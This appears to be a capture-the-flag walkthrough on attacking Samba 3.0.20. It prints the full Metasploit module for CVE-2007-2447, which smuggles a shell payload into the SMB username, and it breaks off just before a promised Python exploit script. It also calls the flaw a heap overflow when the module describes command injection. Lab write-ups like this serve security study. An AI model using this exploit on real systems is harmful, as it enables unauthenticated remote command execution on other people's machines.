Since FTP port is open and seems to allow Anonymous login we will try to log in and see if we can find anything
We found nothing there, next thing we can see in our initial enumeration is that Samba is running with version 3.0.20-Debian, with a fast google search we will find that it is vulnerable to a Remote Heap Overflow https://www.exploit-db.com/exploits/16320
### $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require'msf/core'classMetasploit3<Msf::Exploit::RemoteRank=ExcellentRankingincludeMsf::Exploit::Remote::SMB# For our customized version of session_setup_ntlmv1CONST=Rex::Proto::SMB::ConstantsCRYPT=Rex::Proto::SMB::Cryptdefinitialize(info={})super(update_info(info,'Name' =>'Samba "username map script" Command Execution','Description' =>%q{ThismoduleexploitsacommandexecutionvulerabilityinSambaversions3.0.20through3.0.25rc3whenusingthenon-default"username map script"configurationoption.Byspecifyingausernamecontainingshellmetacharacters,attackerscanexecutearbitrarycommands.Noauthenticationisneededtoexploitthisvulnerabilitysincethisoptionisusedtomapusernamespriortoauthentication! },'Author' => [ 'jduck'],'License' =>MSF_LICENSE,'Version' =>'$Revision: 10040 $','References' => [ [ 'CVE', '2007-2447' ], [ 'OSVDB', '34700' ], [ 'BID', '23972' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ], [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ] ],'Platform' => ['unix'],'Arch' =>ARCH_CMD,'Privileged' =>true,# root or nobody user'Payload' => {'Space' =>1024,'DisableNops' =>true,'Compat' => {'PayloadType' =>'cmd',# *_perl and *_ruby work if they are installed# mileage may vary from system to system.. } },'Targets' => [ [ "Automatic", { } ] ],'DefaultTarget' =>0,'DisclosureDate' =>'May 14 2007'))register_options( [ Opt::RPORT(139) ],self.class)enddefexploitconnect# lol?username="/=`nohup " + payload.encoded + "`"beginsimple.client.negotiate(false)simple.client.session_setup_ntlmv1(username,rand_text(16),datastore['SMBDomain'],false)rescue::Timeout::Error,XCEPT::LoginError# nothing, it either worked or it didn't ;)endhandlerendend
But that is a Metasploit module and we want to do it without it... if we read the exploit it says that its exploiting a vulnerability by specifying a username containing shell meta characters, executing commands... and no authentication is needed to exploit this vulnerability, with this information we can make our python script to exploit this samba version.
Exploitation
Creating the script
This is the skeleton of the python script we will use to exploit this Samba version